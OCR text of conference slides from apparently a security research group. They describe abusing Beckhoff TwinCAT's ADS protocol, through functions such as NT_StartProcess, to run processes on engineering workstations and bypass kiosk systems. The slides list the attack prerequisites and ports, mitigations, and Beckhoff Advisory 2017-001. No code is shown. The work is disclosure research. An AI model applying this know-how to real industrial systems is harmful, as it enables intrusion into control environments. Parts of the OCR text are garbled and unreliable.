(@ TwinCAT 3 PLC Lib: Tc2_Standard - » FE 'WritePersistentData
i TwinCAT 3 PLC Lib: Te2_SUPS .
@ TWinCAT 3 PLC Lib: Te2_SystemCX * GetRemotePCinfo
(o TwinCAT 3 PLC Lib: Tc2_System « NT AborShutdown
@ TWinCAT 3 PLC Lib: Te2_SystemCa
@ TWIinCAT 3 PLC Lib: Te2_Utilitiss = NT GetTime
Foreword
e X « NT Reboot
0 Ovenview
@ Function blocks * NT SetlocalTime
™ BCD_TO_DEC
™ DCF77_TIME = NT SetTimeToRTCTime
& DCFIT_TIME_EX * NT Shutdown
™ DEC_TO_BCD
™ FB_AdsReadEvents = NT StartProcess

™ FB_AddRouteEntry
M FB_AmsLogger

* PLC ReadSvminio

@ FB_BasicPID » PLC ReadSyminfoByMName
4 FB_CheckLicense

& FB_CSVMemBufierReader « PLC ReadSyminfoByMameEx
M FB_CSVMemBufferriter « PLC Reset

M FB_EnumFindFileEntry

™ FB_EnumFindFileList » PLC Start

[ FB_EnumRouteEntry

& FB_EnumStringMumbers « PLC Siop

[ FB_FileRingBuffer . Profiler
DEMO [ FB_FileTimeToTz5pecificLocalTime -

[ FB_FormatSiring » RIC

™ FB_FormatString2

« RTT EFYW


https://infosys.beckhoff.com/english.php?content=../content/1033/tcplclib_tc2_utilities/9007199289758859.html&id=
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A little bonus

We can use this to bypass a Kiosk System too

DEMO
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The prerequisites for this attack: Conclusion

 Engineering system (e.g. laptop) used to program a Beckhoff Device (IPC/HM/...)

Has the TWinCAT Runtime installed
e Which is a requirement when programming with Beckhoff

* Ports open in Firewall (UDP/48899 or TCP/48898)

*  Which is necessary to add remote routes
—> To add a route from an IPC to a workstation, the ports above must be open!! (for some reason)

* No longer necessary once the remote routes are added

* Atleast one route configured
* Which is required to communicate with remote devices

Scripts on our Github soon, together with an extensive article

Big thanks to Tinus Umans for co-writing the scripts m
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Are there solutions
Euh...

* Use a Virtual Machine for running Twincat

* Configure Firewalls

* And the official response from the Beckhoff Product-Security CERT:

“Please refer to Advisory 2017-001"

I
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Official Solution

Beckhoff Security Advisory

BECKHOFF

Advisory 2017-001: ADS is only designed for use in protected environments

Fublication Date 03/13/2017 Relevance Medium

Last Update 01/29/2019 Related CVE CVE-2017-16726
Current Version 1.2

Summary

ADS is only advised to be used in protected environments, and as such does not provide security properties.
Attackers can eavesdrop, manipulate and forge arbitrary packets as in any other cleartext protocol. In case
ADS access is possible, various system related services can be used.

Appearance
« TWInCAT2/3

Description

Beckhoff TwinCAT supports communication over ADS. ADS is a protocol for industrial automation in
protected environments [1]. ADS has not been designed to achieve security purposes and therefore does
not include any encryption algorithms because of their negative effect on performance and throughput.

I
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Want to know more? Join our project

Regulations within the Cyber Security Solutions for Innovative Network
industrial sector Industry 4.0 Monitoring Systems

Or found us at our booth (and join the ICS CTF) ©

R
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Want to see us speak (longer)?

* Join our free Industrial Security Awareness Session on October 15, Bruges (Dutch)

e Visit for more information and free subscriptions
| C 4 =5 :
\ OMPETENCE CENTER howest CAMPUS KORTRIK |

m Onderzoek Opleidingen Blog About Us Contact
tijl.deneut@howest.be m
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